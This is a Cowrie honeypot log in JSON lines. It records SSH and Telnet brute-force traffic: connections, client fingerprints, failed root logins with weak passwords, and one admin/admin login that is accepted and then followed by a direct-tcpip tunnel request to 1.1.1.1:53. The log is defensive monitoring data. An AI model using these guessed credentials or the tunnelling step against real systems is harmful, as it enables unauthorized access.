{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:19:44.962817Z","src_ip":"186.233.118.22","session":"983acf75a207","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.57493209838867,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:19:45.187138Z","src_ip":"142.93.2.99","session":"00f4c46152a0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ss@123456","message":"login attempt [root/Ss@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:19:45.471263Z","src_ip":"186.233.118.22","session":"983acf75a207","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:19:46.593671Z","src_ip":"186.233.118.22","session":"983acf75a207","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":36916,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2decd767c95","protocol":"telnet","message":"New connection: 142.93.2.99:36916 (159.203.135.109:23) [session: e2decd767c95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:19:49.069317Z"}
{"eventid":"cowrie.session.closed","duration":33.27557349205017,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:19:49.412815Z","src_ip":"142.93.2.99","session":"9772abcff2a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":38384,"dst_ip":"10.17.0.5","dst_port":23,"session":"a32b8edf0a53","protocol":"telnet","message":"New connection: 104.245.105.2:38384 (10.17.0.5:23) [session: a32b8edf0a53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:19:49.967369Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":45532,"dst_ip":"159.203.135.109","dst_port":23,"session":"5eb07e519a82","protocol":"telnet","message":"New connection: 142.93.2.99:45532 (159.203.135.109:23) [session: 5eb07e519a82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:19:54.371548Z"}
{"eventid":"cowrie.session.closed","duration":33.42995882034302,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:20:01.329933Z","src_ip":"142.93.2.99","session":"5aac79323061","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":52930,"dst_ip":"159.203.135.109","dst_port":23,"session":"10f0fce94f5d","protocol":"telnet","message":"New connection: 142.93.2.99:52930 (159.203.135.109:23) [session: 10f0fce94f5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:20:02.294991Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":50456,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae6331d3c48d","protocol":"telnet","message":"New connection: 104.245.105.2:50456 (10.17.0.5:23) [session: ae6331d3c48d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:20:07.148455Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":50468,"dst_ip":"10.17.0.5","dst_port":23,"session":"baf0f82079ed","protocol":"telnet","message":"New connection: 104.245.105.2:50468 (10.17.0.5:23) [session: baf0f82079ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:20:08.004520Z"}
{"eventid":"cowrie.session.closed","duration":33.251473903656006,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:20:13.064299Z","src_ip":"142.93.2.99","session":"c16cda137535","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.678362607955933,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:20:20.645593Z","src_ip":"104.245.105.2","session":"a32b8edf0a53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.194.140.170","src_port":36618,"dst_ip":"159.203.135.109","dst_port":22,"session":"fda71d40a1d8","protocol":"ssh","message":"New connection: 189.194.140.170:36618 (159.203.135.109:22) [session: fda71d40a1d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:20:20.730078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:20:20.735169Z","src_ip":"189.194.140.170","session":"fda71d40a1d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:20:20.833081Z","src_ip":"189.194.140.170","session":"fda71d40a1d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.161.239.14","src_port":53594,"dst_ip":"10.17.0.5","dst_port":22,"session":"77501f451b80","protocol":"ssh","message":"New connection: 81.161.239.14:53594 (10.17.0.5:22) [session: 77501f451b80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:20:20.852570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:20:20.858018Z","src_ip":"81.161.239.14","session":"77501f451b80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:20:20.893899Z","src_ip":"81.161.239.14","session":"77501f451b80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:20:20.934041Z","src_ip":"81.161.239.14","session":"77501f451b80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zZ123456","message":"login attempt [root/zZ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:20:21.245766Z","src_ip":"189.194.140.170","session":"fda71d40a1d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:20:22.349176Z","src_ip":"189.194.140.170","session":"fda71d40a1d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.84843993186951,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:20:22.917634Z","src_ip":"142.93.2.99","session":"e2decd767c95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":47260,"dst_ip":"159.203.135.109","dst_port":23,"session":"ddbd8293e285","protocol":"telnet","message":"New connection: 142.93.2.99:47260 (159.203.135.109:23) [session: ddbd8293e285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:20:26.326814Z"}
{"eventid":"cowrie.session.closed","duration":34.70340275764465,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:20:29.074870Z","src_ip":"142.93.2.99","session":"5eb07e519a82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.68385648727417,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:20:35.978721Z","src_ip":"142.93.2.99","session":"10f0fce94f5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.243648290634155,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:20:38.391961Z","src_ip":"104.245.105.2","session":"ae6331d3c48d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.52125310897827,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:20:45.525620Z","src_ip":"104.245.105.2","session":"baf0f82079ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":37676,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4fa9ab3f38a","protocol":"telnet","message":"New connection: 142.93.2.99:37676 (159.203.135.109:23) [session: f4fa9ab3f38a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:20:49.179313Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":40596,"dst_ip":"159.203.135.109","dst_port":22,"session":"176513828954","protocol":"ssh","message":"New connection: 186.233.118.22:40596 (159.203.135.109:22) [session: 176513828954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:20:52.017102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:20:52.020837Z","src_ip":"186.233.118.22","session":"176513828954","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:20:52.139211Z","src_ip":"186.233.118.22","session":"176513828954","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":40260,"dst_ip":"159.203.135.109","dst_port":23,"session":"6bd5e2758d7e","protocol":"telnet","message":"New connection: 142.93.2.99:40260 (159.203.135.109:23) [session: 6bd5e2758d7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:20:52.563195Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456789","message":"login attempt [root/qq123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:20:52.648564Z","src_ip":"186.233.118.22","session":"176513828954","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:20:53.773685Z","src_ip":"186.233.118.22","session":"176513828954","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.208940744400024,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:20:58.535611Z","src_ip":"142.93.2.99","session":"ddbd8293e285","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":54260,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7cf63e8511f","protocol":"telnet","message":"New connection: 104.245.105.2:54260 (10.17.0.5:23) [session: c7cf63e8511f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:21:11.899228Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":55028,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6f3647a9af2","protocol":"telnet","message":"New connection: 142.93.2.99:55028 (159.203.135.109:23) [session: a6f3647a9af2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:21:13.773164Z"}
{"eventid":"cowrie.session.connect","src_ip":"189.194.140.170","src_port":53538,"dst_ip":"159.203.135.109","dst_port":22,"session":"e80a1693c827","protocol":"ssh","message":"New connection: 189.194.140.170:53538 (159.203.135.109:22) [session: e80a1693c827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:21:14.979345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:21:14.984756Z","src_ip":"189.194.140.170","session":"e80a1693c827","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:21:15.079437Z","src_ip":"189.194.140.170","session":"e80a1693c827","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"aliali","message":"login attempt [ali/aliali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:21:15.453335Z","src_ip":"189.194.140.170","session":"e80a1693c827","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:21:16.558157Z","src_ip":"189.194.140.170","session":"e80a1693c827","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":60508,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb9de976b95b","protocol":"telnet","message":"New connection: 142.93.2.99:60508 (159.203.135.109:23) [session: bb9de976b95b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:21:20.083415Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":54276,"dst_ip":"10.17.0.5","dst_port":23,"session":"15fbc54b2025","protocol":"telnet","message":"New connection: 104.245.105.2:54276 (10.17.0.5:23) [session: 15fbc54b2025]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:21:20.976581Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":50806,"dst_ip":"10.17.0.5","dst_port":22,"session":"cafdc5bc8639","protocol":"ssh","message":"New connection: 87.251.64.176:50806 (10.17.0.5:22) [session: cafdc5bc8639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:21:22.566555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:21:22.570939Z","src_ip":"87.251.64.176","session":"cafdc5bc8639","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:21:22.667001Z","src_ip":"87.251.64.176","session":"cafdc5bc8639","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:21:22.957519Z","src_ip":"87.251.64.176","session":"cafdc5bc8639","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:21:23.057322Z","session":"cafdc5bc8639","protocol":"ssh"}
